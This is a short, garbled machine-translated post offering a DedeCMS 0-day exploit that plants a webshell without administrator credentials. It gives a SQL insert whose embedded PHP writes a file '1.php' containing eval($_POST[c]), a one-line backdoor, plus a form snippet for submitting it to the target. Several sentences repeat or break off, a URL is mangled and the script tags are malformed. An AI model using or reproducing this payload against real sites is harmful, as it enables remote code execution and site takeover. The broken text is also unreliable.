Dedecms's latest 0-day exploitation of WEBSHELL without entering the background

In combination with the brute-force Weaver dream, attackers can access the background without the Administrator account and password (http: www. tmdsb. com201108dedecms-weaving-dreams-seriously-0day-vulnerabilities-latest-storm) Take webshell method is as follows: network transmission are to know the background can be used, but do not, as long as the plus directory exists,

Vulnerabilities that can be exploited in the background without the Administrator account or password

Http://www.tmdsb.com/2011/08/dEdEcms-weaving-dreams-seriously-0day-vuLnErabilities-latest-stoRm/)

The webshell method is as follows:

All the data transmitted through the Internet is that the backend can be used, but no, as long as the plus directory exists, the server can be connected externally, and shell can be used.

Prerequisites: You must prepare your own dede database and then insert the data:

insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \' eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

Submit the statement using the following form, and shell will be 1.php in the same directory. The principle of self-study...

《script》function addaction(){document.QuickSearch.action=document.QuickSearch.doaction.value;}《script》